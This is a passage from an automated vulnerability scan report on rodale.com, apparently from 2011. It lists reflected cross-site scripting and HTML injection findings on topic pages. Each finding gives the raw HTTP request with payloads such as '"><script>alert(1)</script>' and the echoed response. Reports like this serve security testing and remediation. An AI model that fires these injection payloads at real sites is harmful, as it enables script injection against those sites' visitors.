<body id="" class="format-normal page-page topicb6079"><a>b1254ed8f35 topicb6079">
...[SNIP]...

2.339. http://www.rodale.com/topic/bpa-and-plastic [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bpa-and-plastic

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 925f1"><a>59b838574f8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/bpa-and-plastic925f1"><a>59b838574f8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:04 GMT
Date: Thu, 10 Mar 2011 17:10:04 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-bpa-and-plastic925f1"><a>59b838574f8 node node-958">
...[SNIP]...

2.340. http://www.rodale.com/topic/bpa-and-plastic [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/bpa-and-plastic

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d02e"><script>alert(1)</script>d7213c8d29c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/bpa-and-plastic?5d02e"><script>alert(1)</script>d7213c8d29c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:27 GMT
Date: Thu, 10 Mar 2011 17:09:27 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33485

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/bpa-and-plastic?5d02e"><script>alert(1)</script>d7213c8d29c=1" title="Register" class="moreLink">
...[SNIP]...

2.341. http://www.rodale.com/topic/brain-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/brain-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aee36"><a>8bdf95c6e81 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicaee36"><a>8bdf95c6e81/brain-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:28 GMT
Date: Thu, 10 Mar 2011 17:09:28 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicaee36"><a>8bdf95c6e81 topicaee36">
...[SNIP]...

2.342. http://www.rodale.com/topic/brain-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/brain-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b34c"><a>701de8e2542 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/brain-health9b34c"><a>701de8e2542 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:02 GMT
Date: Thu, 10 Mar 2011 17:10:03 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-brain-health9b34c"><a>701de8e2542 node node-958">
...[SNIP]...

2.343. http://www.rodale.com/topic/brain-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/brain-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11b59"><script>alert(1)</script>52591da556d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/brain-health?11b59"><script>alert(1)</script>52591da556d=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:25 GMT
Date: Thu, 10 Mar 2011 17:09:25 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34281

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/brain-health?11b59"><script>alert(1)</script>52591da556d=1" title="Register" class="moreLink">
...[SNIP]...

2.344. http://www.rodale.com/topic/breast-cancer-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/breast-cancer-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b377"><a>41a87698ffd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5b377"><a>41a87698ffd/breast-cancer-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:32 GMT
Date: Thu, 10 Mar 2011 17:09:32 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5b377"><a>41a87698ffd topic5b377">
...[SNIP]...

2.345. http://www.rodale.com/topic/breast-cancer-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/breast-cancer-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c4a3"><a>d7630ceddb1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/breast-cancer-06c4a3"><a>d7630ceddb1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:06 GMT
Date: Thu, 10 Mar 2011 17:10:06 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-breast-cancer-06c4a3"><a>d7630ceddb1 node node-958">
...[SNIP]...

2.346. http://www.rodale.com/topic/breast-cancer-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/breast-cancer-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e22ad"><script>alert(1)</script>404bb4bdddf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/breast-cancer-0?e22ad"><script>alert(1)</script>404bb4bdddf=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:30 GMT
Date: Thu, 10 Mar 2011 17:09:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32797

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/breast-cancer-0?e22ad"><script>alert(1)</script>404bb4bdddf=1" title="Register" class="moreLink">
...[SNIP]...

2.347. http://www.rodale.com/topic/cancer [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cancer

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a411c"><a>e948ed4a402 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica411c"><a>e948ed4a402/cancer HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:36 GMT
Date: Thu, 10 Mar 2011 17:09:37 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica411c"><a>e948ed4a402 topica411c">
...[SNIP]...

2.348. http://www.rodale.com/topic/cancer [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cancer

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f304"><a>a6d1b56f0ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cancer3f304"><a>a6d1b56f0ef HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:12 GMT
Date: Thu, 10 Mar 2011 17:10:12 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cancer3f304"><a>a6d1b56f0ef node node-958">
...[SNIP]...

2.349. http://www.rodale.com/topic/cancer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cancer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef05b"><script>alert(1)</script>2d73c262006 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cancer?ef05b"><script>alert(1)</script>2d73c262006=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:34 GMT
Date: Thu, 10 Mar 2011 17:09:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33246

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cancer?ef05b"><script>alert(1)</script>2d73c262006=1" title="Register" class="moreLink">
...[SNIP]...

2.350. http://www.rodale.com/topic/car-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/car-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bfd3"><a>0a8feff46f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3bfd3"><a>0a8feff46f2/car-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:41 GMT
Date: Thu, 10 Mar 2011 17:09:41 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3bfd3"><a>0a8feff46f2 topic3bfd3">
...[SNIP]...

2.351. http://www.rodale.com/topic/car-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/car-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1518"><a>9029040e8e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/car-safetyd1518"><a>9029040e8e4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:17 GMT
Date: Thu, 10 Mar 2011 17:10:17 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-car-safetyd1518"><a>9029040e8e4 node node-958">
...[SNIP]...

2.352. http://www.rodale.com/topic/car-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/car-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67739"><script>alert(1)</script>0b1459a3bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/car-safety?67739"><script>alert(1)</script>0b1459a3bd=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:39 GMT
Date: Thu, 10 Mar 2011 17:09:39 GMT
Content-Length: 32685
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/car-safety?67739"><script>alert(1)</script>0b1459a3bd=1" title="Register" class="moreLink">
...[SNIP]...

2.353. http://www.rodale.com/topic/cell-phones-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cell-phones-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f537a"><a>bbbfa8009cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf537a"><a>bbbfa8009cb/cell-phones-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:40 GMT
Date: Thu, 10 Mar 2011 17:09:40 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf537a"><a>bbbfa8009cb topicf537a">
...[SNIP]...

2.354. http://www.rodale.com/topic/cell-phones-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cell-phones-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96e30"><a>c0526a97f37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cell-phones-096e30"><a>c0526a97f37 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:17 GMT
Date: Thu, 10 Mar 2011 17:10:17 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cell-phones-096e30"><a>c0526a97f37 node node-958">
...[SNIP]...

2.355. http://www.rodale.com/topic/cell-phones-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cell-phones-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 977f2"><script>alert(1)</script>7eb0a2057e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cell-phones-0?977f2"><script>alert(1)</script>7eb0a2057e2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:37 GMT
Date: Thu, 10 Mar 2011 17:09:38 GMT
Content-Length: 31980
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cell-phones-0?977f2"><script>alert(1)</script>7eb0a2057e2=1" title="Register" class="moreLink">
...[SNIP]...

2.356. http://www.rodale.com/topic/cellphones [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cellphones

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2569e"><a>eb0ef9b6fe6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2569e"><a>eb0ef9b6fe6/cellphones HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
